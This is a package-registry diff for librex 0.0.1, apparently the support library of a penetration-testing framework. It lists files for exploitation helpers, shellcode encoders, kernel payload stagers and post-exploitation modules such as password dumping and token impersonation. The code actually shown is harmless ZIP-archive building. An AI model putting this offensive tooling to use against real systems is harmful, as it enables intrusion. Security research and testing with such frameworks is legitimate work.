librex 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (370) hide show
  1. data/README +4 -0
  2. data/lib/rex.rb +101 -0
  3. data/lib/rex.rb.ts.rb +70 -0
  4. data/lib/rex/LICENSE +29 -0
  5. data/lib/rex/arch.rb +103 -0
  6. data/lib/rex/arch/sparc.rb +75 -0
  7. data/lib/rex/arch/sparc.rb.ut.rb +18 -0
  8. data/lib/rex/arch/x86.rb +513 -0
  9. data/lib/rex/arch/x86.rb.ut.rb +93 -0
  10. data/lib/rex/assembly/nasm.rb +100 -0
  11. data/lib/rex/assembly/nasm.rb.ut.rb +22 -0
  12. data/lib/rex/codepage.map +104 -0
  13. data/lib/rex/compat.rb +281 -0
  14. data/lib/rex/constants.rb +113 -0
  15. data/lib/rex/elfparsey.rb +11 -0
  16. data/lib/rex/elfparsey/elf.rb +123 -0
  17. data/lib/rex/elfparsey/elfbase.rb +260 -0
  18. data/lib/rex/elfparsey/exceptions.rb +27 -0
  19. data/lib/rex/elfscan.rb +12 -0
  20. data/lib/rex/elfscan/scanner.rb +207 -0
  21. data/lib/rex/elfscan/search.rb +46 -0
  22. data/lib/rex/encoder/alpha2.rb +31 -0
  23. data/lib/rex/encoder/alpha2/alpha_mixed.rb +68 -0
  24. data/lib/rex/encoder/alpha2/alpha_upper.rb +79 -0
  25. data/lib/rex/encoder/alpha2/generic.rb +113 -0
  26. data/lib/rex/encoder/alpha2/unicode_mixed.rb +117 -0
  27. data/lib/rex/encoder/alpha2/unicode_upper.rb +129 -0
  28. data/lib/rex/encoder/ndr.rb +89 -0
  29. data/lib/rex/encoder/ndr.rb.ut.rb +44 -0
  30. data/lib/rex/encoder/nonalpha.rb +61 -0
  31. data/lib/rex/encoder/nonupper.rb +64 -0
  32. data/lib/rex/encoder/xdr.rb +106 -0
  33. data/lib/rex/encoder/xdr.rb.ut.rb +29 -0
  34. data/lib/rex/encoder/xor.rb +69 -0
  35. data/lib/rex/encoder/xor/dword.rb +13 -0
  36. data/lib/rex/encoder/xor/dword_additive.rb +13 -0
  37. data/lib/rex/encoders/xor_dword.rb +35 -0
  38. data/lib/rex/encoders/xor_dword_additive.rb +53 -0
  39. data/lib/rex/encoders/xor_dword_additive.rb.ut.rb +12 -0
  40. data/lib/rex/encoding/xor.rb +20 -0
  41. data/lib/rex/encoding/xor.rb.ts.rb +14 -0
  42. data/lib/rex/encoding/xor/byte.rb +15 -0
  43. data/lib/rex/encoding/xor/byte.rb.ut.rb +21 -0
  44. data/lib/rex/encoding/xor/dword.rb +21 -0
  45. data/lib/rex/encoding/xor/dword.rb.ut.rb +15 -0
  46. data/lib/rex/encoding/xor/dword_additive.rb +92 -0
  47. data/lib/rex/encoding/xor/dword_additive.rb.ut.rb +15 -0
  48. data/lib/rex/encoding/xor/exceptions.rb +17 -0
  49. data/lib/rex/encoding/xor/generic.rb +146 -0
  50. data/lib/rex/encoding/xor/generic.rb.ut.rb +120 -0
  51. data/lib/rex/encoding/xor/qword.rb +15 -0
  52. data/lib/rex/encoding/xor/word.rb +21 -0
  53. data/lib/rex/encoding/xor/word.rb.ut.rb +13 -0
  54. data/lib/rex/exceptions.rb +275 -0
  55. data/lib/rex/exceptions.rb.ut.rb +44 -0
  56. data/lib/rex/exploitation/cmdstager.rb +133 -0
  57. data/lib/rex/exploitation/egghunter.rb +143 -0
  58. data/lib/rex/exploitation/egghunter.rb.ut.rb +25 -0
  59. data/lib/rex/exploitation/encryptjs.rb +77 -0
  60. data/lib/rex/exploitation/heaplib.js.b64 +331 -0
  61. data/lib/rex/exploitation/heaplib.rb +94 -0
  62. data/lib/rex/exploitation/javascriptosdetect.rb +735 -0
  63. data/lib/rex/exploitation/obfuscatejs.rb +335 -0
  64. data/lib/rex/exploitation/opcodedb.rb +818 -0
  65. data/lib/rex/exploitation/opcodedb.rb.ut.rb +279 -0
  66. data/lib/rex/exploitation/seh.rb +92 -0
  67. data/lib/rex/exploitation/seh.rb.ut.rb +19 -0
  68. data/lib/rex/file.rb +84 -0
  69. data/lib/rex/file.rb.ut.rb +16 -0
  70. data/lib/rex/image_source.rb +12 -0
  71. data/lib/rex/image_source/disk.rb +60 -0
  72. data/lib/rex/image_source/image_source.rb +46 -0
  73. data/lib/rex/image_source/memory.rb +37 -0
  74. data/lib/rex/io/bidirectional_pipe.rb +157 -0
  75. data/lib/rex/io/datagram_abstraction.rb +35 -0
  76. data/lib/rex/io/stream.rb +313 -0
  77. data/lib/rex/io/stream_abstraction.rb +186 -0
  78. data/lib/rex/io/stream_server.rb +211 -0
  79. data/lib/rex/job_container.rb +202 -0
  80. data/lib/rex/logging.rb +4 -0
  81. data/lib/rex/logging/log_dispatcher.rb +179 -0
  82. data/lib/rex/logging/log_sink.rb +42 -0
  83. data/lib/rex/logging/sinks/flatfile.rb +55 -0
  84. data/lib/rex/logging/sinks/stderr.rb +43 -0
  85. data/lib/rex/machparsey.rb +9 -0
  86. data/lib/rex/machparsey/exceptions.rb +34 -0
  87. data/lib/rex/machparsey/mach.rb +209 -0
  88. data/lib/rex/machparsey/machbase.rb +408 -0
  89. data/lib/rex/machscan.rb +9 -0
  90. data/lib/rex/machscan/scanner.rb +217 -0
  91. data/lib/rex/mime.rb +9 -0
  92. data/lib/rex/mime/header.rb +75 -0
  93. data/lib/rex/mime/message.rb +112 -0
  94. data/lib/rex/mime/part.rb +20 -0
  95. data/lib/rex/nop/opty2.rb +108 -0
  96. data/lib/rex/nop/opty2.rb.ut.rb +23 -0
  97. data/lib/rex/nop/opty2_tables.rb +300 -0
  98. data/lib/rex/ole.rb +128 -0
  99. data/lib/rex/ole/clsid.rb +47 -0
  100. data/lib/rex/ole/difat.rb +141 -0
  101. data/lib/rex/ole/directory.rb +230 -0
  102. data/lib/rex/ole/direntry.rb +240 -0
  103. data/lib/rex/ole/fat.rb +99 -0
  104. data/lib/rex/ole/header.rb +204 -0
  105. data/lib/rex/ole/minifat.rb +77 -0
  106. data/lib/rex/ole/samples/create_ole.rb +27 -0
  107. data/lib/rex/ole/samples/dir.rb +35 -0
  108. data/lib/rex/ole/samples/dump_stream.rb +34 -0
  109. data/lib/rex/ole/samples/ole_info.rb +23 -0
  110. data/lib/rex/ole/storage.rb +395 -0
  111. data/lib/rex/ole/stream.rb +53 -0
  112. data/lib/rex/ole/substorage.rb +49 -0
  113. data/lib/rex/ole/util.rb +157 -0
  114. data/lib/rex/parser/arguments.rb +97 -0
  115. data/lib/rex/parser/arguments.rb.ut.rb +67 -0
  116. data/lib/rex/parser/ini.rb +185 -0
  117. data/lib/rex/parser/ini.rb.ut.rb +29 -0
  118. data/lib/rex/parser/nmap_xml.rb +111 -0
  119. data/lib/rex/payloads.rb +1 -0
  120. data/lib/rex/payloads/win32.rb +2 -0
  121. data/lib/rex/payloads/win32/common.rb +26 -0
  122. data/lib/rex/payloads/win32/kernel.rb +53 -0
  123. data/lib/rex/payloads/win32/kernel/common.rb +54 -0
  124. data/lib/rex/payloads/win32/kernel/migration.rb +12 -0
  125. data/lib/rex/payloads/win32/kernel/recovery.rb +50 -0
  126. data/lib/rex/payloads/win32/kernel/stager.rb +171 -0
  127. data/lib/rex/peparsey.rb +12 -0
  128. data/lib/rex/peparsey/exceptions.rb +32 -0
  129. data/lib/rex/peparsey/pe.rb +188 -0
  130. data/lib/rex/peparsey/pe_memdump.rb +63 -0
  131. data/lib/rex/peparsey/pebase.rb +1655 -0
  132. data/lib/rex/peparsey/section.rb +136 -0
  133. data/lib/rex/pescan.rb +13 -0
  134. data/lib/rex/pescan/analyze.rb +309 -0
  135. data/lib/rex/pescan/scanner.rb +206 -0
  136. data/lib/rex/pescan/search.rb +56 -0
  137. data/lib/rex/platforms.rb +1 -0
  138. data/lib/rex/platforms/windows.rb +51 -0
  139. data/lib/rex/poly.rb +132 -0
  140. data/lib/rex/poly/block.rb +468 -0
  141. data/lib/rex/poly/register.rb +100 -0
  142. data/lib/rex/poly/register/x86.rb +40 -0
  143. data/lib/rex/post.rb +8 -0
  144. data/lib/rex/post/dir.rb +51 -0
  145. data/lib/rex/post/file.rb +172 -0
  146. data/lib/rex/post/file_stat.rb +220 -0
  147. data/lib/rex/post/gen.pl +13 -0
  148. data/lib/rex/post/io.rb +182 -0
  149. data/lib/rex/post/meterpreter.rb +4 -0
  150. data/lib/rex/post/meterpreter/channel.rb +438 -0
  151. data/lib/rex/post/meterpreter/channel_container.rb +54 -0
  152. data/lib/rex/post/meterpreter/channels/pool.rb +160 -0
  153. data/lib/rex/post/meterpreter/channels/pools/file.rb +62 -0
  154. data/lib/rex/post/meterpreter/channels/pools/stream_pool.rb +103 -0
  155. data/lib/rex/post/meterpreter/channels/stream.rb +87 -0
  156. data/lib/rex/post/meterpreter/client.rb +335 -0
  157. data/lib/rex/post/meterpreter/client_core.rb +274 -0
  158. data/lib/rex/post/meterpreter/dependencies.rb +3 -0
  159. data/lib/rex/post/meterpreter/extension.rb +32 -0
  160. data/lib/rex/post/meterpreter/extensions/espia/espia.rb +58 -0
  161. data/lib/rex/post/meterpreter/extensions/espia/tlv.rb +16 -0
  162. data/lib/rex/post/meterpreter/extensions/incognito/incognito.rb +94 -0
  163. data/lib/rex/post/meterpreter/extensions/incognito/tlv.rb +21 -0
  164. data/lib/rex/post/meterpreter/extensions/priv/fs.rb +118 -0
  165. data/lib/rex/post/meterpreter/extensions/priv/passwd.rb +61 -0
  166. data/lib/rex/post/meterpreter/extensions/priv/priv.rb +104 -0
  167. data/lib/rex/post/meterpreter/extensions/priv/tlv.rb +28 -0
  168. data/lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb +100 -0
  169. data/lib/rex/post/meterpreter/extensions/sniffer/tlv.rb +24 -0
  170. data/lib/rex/post/meterpreter/extensions/stdapi/constants.rb +333 -0
  171. data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +273 -0
  172. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +235 -0
  173. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file_stat.rb +103 -0
  174. data/lib/rex/post/meterpreter/extensions/stdapi/fs/io.rb +48 -0
  175. data/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb +144 -0
  176. data/lib/rex/post/meterpreter/extensions/stdapi/net/interface.rb +73 -0
  177. data/lib/rex/post/meterpreter/extensions/stdapi/net/route.rb +56 -0
  178. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb +137 -0
  179. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb +167 -0
  180. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb +167 -0
  181. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb +192 -0
  182. data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +139 -0
  183. data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +97 -0
  184. data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb +184 -0
  185. data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log_subsystem/event_record.rb +41 -0
  186. data/lib/rex/post/meterpreter/extensions/stdapi/sys/power.rb +61 -0
  187. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +361 -0
  188. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/image.rb +129 -0
  189. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/io.rb +55 -0
  190. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb +336 -0
  191. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/thread.rb +141 -0
  192. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +279 -0
  193. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +182 -0
  194. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_value.rb +102 -0
  195. data/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb +174 -0
  196. data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +185 -0
  197. data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +227 -0
  198. data/lib/rex/post/meterpreter/inbound_packet_handler.rb +30 -0
  199. data/lib/rex/post/meterpreter/object_aliases.rb +83 -0
  200. data/lib/rex/post/meterpreter/packet.rb +596 -0
  201. data/lib/rex/post/meterpreter/packet_dispatcher.rb +409 -0
  202. data/lib/rex/post/meterpreter/packet_parser.rb +94 -0
  203. data/lib/rex/post/meterpreter/packet_response_waiter.rb +83 -0
  204. data/lib/rex/post/meterpreter/ui/console.rb +135 -0
  205. data/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb +62 -0
  206. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +595 -0
  207. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb +108 -0
  208. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb +241 -0
  209. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv.rb +61 -0
  210. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +98 -0
  211. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb +51 -0
  212. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +132 -0
  213. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/sniffer.rb +187 -0
  214. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb +63 -0
  215. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +376 -0
  216. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +270 -0
  217. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +484 -0
  218. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +315 -0
  219. data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +95 -0
  220. data/lib/rex/post/permission.rb +26 -0
  221. data/lib/rex/post/process.rb +57 -0
  222. data/lib/rex/post/thread.rb +57 -0
  223. data/lib/rex/post/ui.rb +52 -0
  224. data/lib/rex/proto.rb +12 -0
  225. data/lib/rex/proto.rb.ts.rb +8 -0
  226. data/lib/rex/proto/dcerpc.rb +6 -0
  227. data/lib/rex/proto/dcerpc.rb.ts.rb +9 -0
  228. data/lib/rex/proto/dcerpc/client.rb +358 -0
  229. data/lib/rex/proto/dcerpc/client.rb.ut.rb +491 -0
  230. data/lib/rex/proto/dcerpc/exceptions.rb +150 -0
  231. data/lib/rex/proto/dcerpc/handle.rb +47 -0
  232. data/lib/rex/proto/dcerpc/handle.rb.ut.rb +85 -0
  233. data/lib/rex/proto/dcerpc/ndr.rb +72 -0
  234. data/lib/rex/proto/dcerpc/ndr.rb.ut.rb +41 -0
  235. data/lib/rex/proto/dcerpc/packet.rb +253 -0
  236. data/lib/rex/proto/dcerpc/packet.rb.ut.rb +56 -0
  237. data/lib/rex/proto/dcerpc/response.rb +186 -0
  238. data/lib/rex/proto/dcerpc/response.rb.ut.rb +15 -0
  239. data/lib/rex/proto/dcerpc/uuid.rb +84 -0
  240. data/lib/rex/proto/dcerpc/uuid.rb.ut.rb +46 -0
  241. data/lib/rex/proto/drda.rb +5 -0
  242. data/lib/rex/proto/drda.rb.ts.rb +17 -0
  243. data/lib/rex/proto/drda/constants.rb +49 -0
  244. data/lib/rex/proto/drda/constants.rb.ut.rb +23 -0
  245. data/lib/rex/proto/drda/packet.rb +252 -0
  246. data/lib/rex/proto/drda/packet.rb.ut.rb +109 -0
  247. data/lib/rex/proto/drda/utils.rb +123 -0
  248. data/lib/rex/proto/drda/utils.rb.ut.rb +84 -0
  249. data/lib/rex/proto/http.rb +5 -0
  250. data/lib/rex/proto/http.rb.ts.rb +12 -0
  251. data/lib/rex/proto/http/client.rb +817 -0
  252. data/lib/rex/proto/http/client.rb.ut.rb +93 -0
  253. data/lib/rex/proto/http/handler.rb +46 -0
  254. data/lib/rex/proto/http/handler/erb.rb +128 -0
  255. data/lib/rex/proto/http/handler/erb.rb.ut.rb +21 -0
  256. data/lib/rex/proto/http/handler/erb.rb.ut.rb.rhtml +1 -0
  257. data/lib/rex/proto/http/handler/proc.rb +54 -0
  258. data/lib/rex/proto/http/handler/proc.rb.ut.rb +24 -0
  259. data/lib/rex/proto/http/header.rb +161 -0
  260. data/lib/rex/proto/http/header.rb.ut.rb +46 -0
  261. data/lib/rex/proto/http/packet.rb +394 -0
  262. data/lib/rex/proto/http/packet.rb.ut.rb +165 -0
  263. data/lib/rex/proto/http/request.rb +356 -0
  264. data/lib/rex/proto/http/request.rb.ut.rb +214 -0
  265. data/lib/rex/proto/http/response.rb +85 -0
  266. data/lib/rex/proto/http/response.rb.ut.rb +149 -0
  267. data/lib/rex/proto/http/server.rb +367 -0
  268. data/lib/rex/proto/http/server.rb.ut.rb +79 -0
  269. data/lib/rex/proto/smb.rb +7 -0
  270. data/lib/rex/proto/smb.rb.ts.rb +8 -0
  271. data/lib/rex/proto/smb/client.rb +1733 -0
  272. data/lib/rex/proto/smb/client.rb.ut.rb +223 -0
  273. data/lib/rex/proto/smb/constants.rb +1062 -0
  274. data/lib/rex/proto/smb/constants.rb.ut.rb +18 -0
  275. data/lib/rex/proto/smb/crypt.rb +95 -0
  276. data/lib/rex/proto/smb/crypt.rb.ut.rb +20 -0
  277. data/lib/rex/proto/smb/evasions.rb +65 -0
  278. data/lib/rex/proto/smb/exceptions.rb +846 -0
  279. data/lib/rex/proto/smb/simpleclient.rb +292 -0
  280. data/lib/rex/proto/smb/simpleclient.rb.ut.rb +128 -0
  281. data/lib/rex/proto/smb/utils.rb +514 -0
  282. data/lib/rex/proto/smb/utils.rb.ut.rb +20 -0
  283. data/lib/rex/proto/sunrpc.rb +1 -0
  284. data/lib/rex/proto/sunrpc/client.rb +195 -0
  285. data/lib/rex/script.rb +42 -0
  286. data/lib/rex/script/base.rb +59 -0
  287. data/lib/rex/script/meterpreter.rb +9 -0
  288. data/lib/rex/script/shell.rb +9 -0
  289. data/lib/rex/service.rb +48 -0
  290. data/lib/rex/service_manager.rb +141 -0
  291. data/lib/rex/service_manager.rb.ut.rb +32 -0
  292. data/lib/rex/services/local_relay.rb +423 -0
  293. data/lib/rex/socket.rb +586 -0
  294. data/lib/rex/socket.rb.ut.rb +86 -0
  295. data/lib/rex/socket/comm.rb +119 -0
  296. data/lib/rex/socket/comm/local.rb +409 -0
  297. data/lib/rex/socket/comm/local.rb.ut.rb +75 -0
  298. data/lib/rex/socket/ip.rb +129 -0
  299. data/lib/rex/socket/parameters.rb +345 -0
  300. data/lib/rex/socket/parameters.rb.ut.rb +51 -0
  301. data/lib/rex/socket/range_walker.rb +295 -0
  302. data/lib/rex/socket/range_walker.rb.ut.rb +55 -0
  303. data/lib/rex/socket/ssl_tcp.rb +184 -0
  304. data/lib/rex/socket/ssl_tcp.rb.ut.rb +39 -0
  305. data/lib/rex/socket/ssl_tcp_server.rb +122 -0
  306. data/lib/rex/socket/ssl_tcp_server.rb.ut.rb +51 -0
  307. data/lib/rex/socket/subnet_walker.rb +75 -0
  308. data/lib/rex/socket/subnet_walker.rb.ut.rb +28 -0
  309. data/lib/rex/socket/switch_board.rb +272 -0
  310. data/lib/rex/socket/switch_board.rb.ut.rb +52 -0
  311. data/lib/rex/socket/tcp.rb +76 -0
  312. data/lib/rex/socket/tcp.rb.ut.rb +64 -0
  313. data/lib/rex/socket/tcp_server.rb +67 -0
  314. data/lib/rex/socket/tcp_server.rb.ut.rb +44 -0
  315. data/lib/rex/socket/udp.rb +157 -0
  316. data/lib/rex/socket/udp.rb.ut.rb +44 -0
  317. data/lib/rex/struct2.rb +5 -0
  318. data/lib/rex/struct2/c_struct.rb +181 -0
  319. data/lib/rex/struct2/c_struct_template.rb +39 -0
  320. data/lib/rex/struct2/constant.rb +26 -0
  321. data/lib/rex/struct2/element.rb +44 -0
  322. data/lib/rex/struct2/generic.rb +73 -0
  323. data/lib/rex/struct2/restraint.rb +54 -0
  324. data/lib/rex/struct2/s_string.rb +72 -0
  325. data/lib/rex/struct2/s_struct.rb +111 -0
  326. data/lib/rex/sync.rb +6 -0
  327. data/lib/rex/sync/event.rb +94 -0
  328. data/lib/rex/sync/read_write_lock.rb +176 -0
  329. data/lib/rex/sync/ref.rb +57 -0
  330. data/lib/rex/sync/thread_safe.rb +82 -0
  331. data/lib/rex/test.rb +35 -0
  332. data/lib/rex/text.rb +1029 -0
  333. data/lib/rex/text.rb.ut.rb +168 -0
  334. data/lib/rex/time.rb +65 -0
  335. data/lib/rex/transformer.rb +115 -0
  336. data/lib/rex/transformer.rb.ut.rb +38 -0
  337. data/lib/rex/ui.rb +21 -0
  338. data/lib/rex/ui/interactive.rb +252 -0
  339. data/lib/rex/ui/output.rb +80 -0
  340. data/lib/rex/ui/output/none.rb +18 -0
  341. data/lib/rex/ui/progress_tracker.rb +96 -0
  342. data/lib/rex/ui/subscriber.rb +149 -0
  343. data/lib/rex/ui/text/color.rb +97 -0
  344. data/lib/rex/ui/text/color.rb.ut.rb +18 -0
  345. data/lib/rex/ui/text/dispatcher_shell.rb +382 -0
  346. data/lib/rex/ui/text/input.rb +117 -0
  347. data/lib/rex/ui/text/input/buffer.rb +75 -0
  348. data/lib/rex/ui/text/input/readline.rb +129 -0
  349. data/lib/rex/ui/text/input/socket.rb +95 -0
  350. data/lib/rex/ui/text/input/stdio.rb +45 -0
  351. data/lib/rex/ui/text/irb_shell.rb +55 -0
  352. data/lib/rex/ui/text/output.rb +80 -0
  353. data/lib/rex/ui/text/output/buffer.rb +65 -0
  354. data/lib/rex/ui/text/output/file.rb +37 -0
  355. data/lib/rex/ui/text/output/socket.rb +43 -0
  356. data/lib/rex/ui/text/output/stdio.rb +40 -0
  357. data/lib/rex/ui/text/progress_tracker.rb +56 -0
  358. data/lib/rex/ui/text/progress_tracker.rb.ut.rb +34 -0
  359. data/lib/rex/ui/text/shell.rb +321 -0
  360. data/lib/rex/ui/text/table.rb +254 -0
  361. data/lib/rex/ui/text/table.rb.ut.rb +55 -0
  362. data/lib/rex/zip.rb +93 -0
  363. data/lib/rex/zip/archive.rb +91 -0
  364. data/lib/rex/zip/blocks.rb +182 -0
  365. data/lib/rex/zip/entry.rb +95 -0
  366. data/lib/rex/zip/samples/comment.rb +32 -0
  367. data/lib/rex/zip/samples/mkwar.rb +138 -0
  368. data/lib/rex/zip/samples/mkzip.rb +19 -0
  369. data/lib/rex/zip/samples/recursive.rb +58 -0
  370. metadata +435 -0
@@ -0,0 +1,182 @@
1
+ ##
2
+ # $Id: blocks.rb 8439 2010-02-10 17:27:40Z jduck $
3
+ ##
4
+
5
+ module Rex
6
+ module Zip
7
+
8
+
9
+ #
10
+ # This structure holds the following data pertaining to a Zip entry's data.
11
+ #
12
+ # data crc
13
+ # compressed size
14
+ # uncompressed size
15
+ #
16
+ class CompInfo
17
+
18
+ def initialize(crc, compsz, uncompsz)
19
+ @crc, @compsz, @uncompsz = crc, compsz, uncompsz
20
+ end
21
+
22
+ def pack
23
+ [ @crc, @compsz, @uncompsz ].pack('VVV')
24
+ end
25
+
26
+ end
27
+
28
+
29
+ #
30
+ # This structure holds the following data pertaining to a Zip entry.
31
+ #
32
+ # general purpose bit flag
33
+ # compression method
34
+ # modification time
35
+ # modification date
36
+ #
37
+ class CompFlags
38
+
39
+ attr_accessor :compmeth
40
+
41
+ def initialize(gpbf, compmeth, timestamp)
42
+ @gpbf = gpbf
43
+ @compmeth = compmeth
44
+ @mod_time = ((timestamp.hour << 11) | (timestamp.min << 5) | (timestamp.sec))
45
+ @mod_date = (((timestamp.year - 1980) << 9) | (timestamp.mon << 5) | (timestamp.day))
46
+ end
47
+
48
+ def pack
49
+ [ @gpbf, @compmeth, @mod_time, @mod_date ].pack('vvvv')
50
+ end
51
+
52
+ end
53
+
54
+
55
+
56
+ #
57
+ # This structure is sometimes stored after the file data and used
58
+ # instead of the fields within the Local File Header.
59
+ #
60
+ class DataDesc
61
+
62
+ SIGNATURE = 0x8074b50
63
+
64
+ def initialize(compinfo)
65
+ @compinfo = compinfo
66
+ end
67
+
68
+ def pack
69
+ ret = [ SIGNATURE ].pack('V')
70
+ ret << @compinfo.pack
71
+ ret
72
+ end
73
+
74
+ end
75
+
76
+
77
+ #
78
+ # This structure records the compression data and flags about
79
+ # a Zip entry to a file.
80
+ #
81
+ class LocalFileHdr
82
+
83
+ SIGNATURE = 0x4034b50
84
+
85
+ def initialize(entry)
86
+ @entry = entry
87
+ end
88
+
89
+ def pack
90
+ path = @entry.relative_path
91
+
92
+ ret = [ SIGNATURE, ZIP_VERSION ].pack('Vv')
93
+ ret << @entry.flags.pack
94
+ ret << @entry.info.pack
95
+ ret << [ path.length, @entry.xtra.length ].pack('vv')
96
+ ret << path
97
+ ret << @entry.xtra
98
+ ret
99
+ end
100
+
101
+ end
102
+
103
+
104
+ #
105
+ # This structure holds all of the information about a particular Zip Entry
106
+ # as it is contained within the central directory.
107
+ #
108
+ class CentralDir
109
+
110
+ SIGNATURE = 0x2014b50
111
+
112
+ def initialize(entry, offset)
113
+ @entry = entry
114
+ @disknum_start = 0
115
+ @attr_int = 0
116
+ @attr_ext = 0x20
117
+ @hdr_offset = offset
118
+ end
119
+
120
+ def pack
121
+ path = @entry.relative_path
122
+
123
+ ret = [ SIGNATURE, ZIP_VERSION ].pack('Vv')
124
+ ret << [ ZIP_VERSION ].pack('v')
125
+ ret << @entry.flags.pack
126
+ ret << @entry.info.pack
127
+ arr = []
128
+ arr << path.length
129
+ arr << @entry.xtra.length
130
+ arr << @entry.comment.length
131
+ arr << @disknum_start
132
+ arr << @attr_int
133
+ arr << @entry.attrs
134
+ arr << @hdr_offset
135
+ ret << arr.pack('vvvvvVV')
136
+ ret << path
137
+ ret << @entry.xtra
138
+ ret << @entry.comment
139
+ # digital signature not supported
140
+ ret
141
+ end
142
+
143
+ end
144
+
145
+
146
+ #
147
+ # This structure is written after the per-entry central directory records to
148
+ # provide information about the archive as a whole.
149
+ #
150
+ class CentralDirEnd
151
+
152
+ SIGNATURE = 0x6054b50
153
+
154
+ def initialize(ncfd, cfdsz, offset, comment=nil)
155
+ @disk_no = 0
156
+ @disk_dir_start = 0
157
+ @ncfd_this_disk = ncfd
158
+ @ncfd_total = ncfd
159
+ @cfd_size = cfdsz
160
+ @start_offset = offset
161
+ @comment = comment
162
+ @comment ||= ''
163
+ end
164
+
165
+
166
+ def pack
167
+ arr = []
168
+ arr << SIGNATURE
169
+ arr << @disk_no
170
+ arr << @disk_dir_start
171
+ arr << @ncfd_this_disk
172
+ arr << @ncfd_total
173
+ arr << @cfd_size
174
+ arr << @start_offset
175
+ arr << @comment.length
176
+ (arr.pack('VvvvvVVv') + @comment)
177
+ end
178
+
179
+ end
180
+
181
+ end
182
+ end
@@ -0,0 +1,95 @@
1
+ ##
2
+ # $Id: entry.rb 8572 2010-02-21 01:37:04Z jduck $
3
+ ##
4
+
5
+ module Rex
6
+ module Zip
7
+
8
+ class Entry
9
+
10
+ attr_accessor :name, :flags, :info, :xtra, :comment, :attrs
11
+
12
+ def initialize(fname, data, compmeth, timestamp=nil, attrs=nil, xtra=nil, comment=nil)
13
+ @name = fname
14
+ @data = data
15
+ @xtra = xtra
16
+ @xtra ||= ''
17
+ @comment = comment
18
+ @comment ||= ''
19
+ @attrs = attrs
20
+ @attrs ||= 0
21
+
22
+ # XXX: sanitize timestmap (assume now)
23
+ timestamp ||= Time.now
24
+ @flags = CompFlags.new(0, compmeth, timestamp)
25
+
26
+ if (@data)
27
+ compress
28
+ else
29
+ @data = ''
30
+ @info = CompInfo.new(0, 0, 0)
31
+ end
32
+ @compdata ||= ''
33
+ end
34
+
35
+
36
+ def compress
37
+ @crc = Zlib.crc32(@data, 0)
38
+ case @flags.compmeth
39
+
40
+ when CM_STORE
41
+ @compdata = @data
42
+
43
+ when CM_DEFLATE
44
+ z = Zlib::Deflate.new(Zlib::BEST_COMPRESSION)
45
+ @compdata = z.deflate(@data, Zlib::FINISH)
46
+ z.close
47
+ @compdata = @compdata[2, @compdata.length-6]
48
+
49
+ else
50
+ raise 'Unsupported compression method: %u' % @flags.compmeth
51
+ end
52
+
53
+ # if compressing doesn't help, just store it
54
+ if (@compdata.length > @data.length)
55
+ @compdata = @data
56
+ @flags.compmeth = CM_STORE
57
+ end
58
+
59
+ @info = CompInfo.new(@crc, @compdata.length, @data.length)
60
+ end
61
+
62
+
63
+ def relative_path
64
+ if (@name[0,1] == '/')
65
+ return @name[1,@name.length]
66
+ end
67
+ @name
68
+ end
69
+
70
+
71
+ def pack
72
+ ret = ''
73
+
74
+ # - lfh 1
75
+ lfh = LocalFileHdr.new(self)
76
+ ret << lfh.pack
77
+
78
+ # - data 1
79
+ if (@compdata)
80
+ ret << @compdata
81
+ end
82
+
83
+ if (@gpbf & GPBF_USE_DATADESC)
84
+ # - data desc 1
85
+ dd = DataDesc.new(@info)
86
+ ret << dd.pack
87
+ end
88
+
89
+ ret
90
+ end
91
+
92
+ end
93
+
94
+ end
95
+ end
@@ -0,0 +1,32 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ #
4
+ # Create a zip file with comments!
5
+ #
6
+
7
+ msfbase = __FILE__
8
+ while File.symlink?(msfbase)
9
+ msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
10
+ end
11
+ inc = File.dirname(msfbase) + '/../../..'
12
+ $:.unshift(inc)
13
+
14
+ require 'rex/zip'
15
+
16
+ # example usage
17
+ zip = Rex::Zip::Archive.new
18
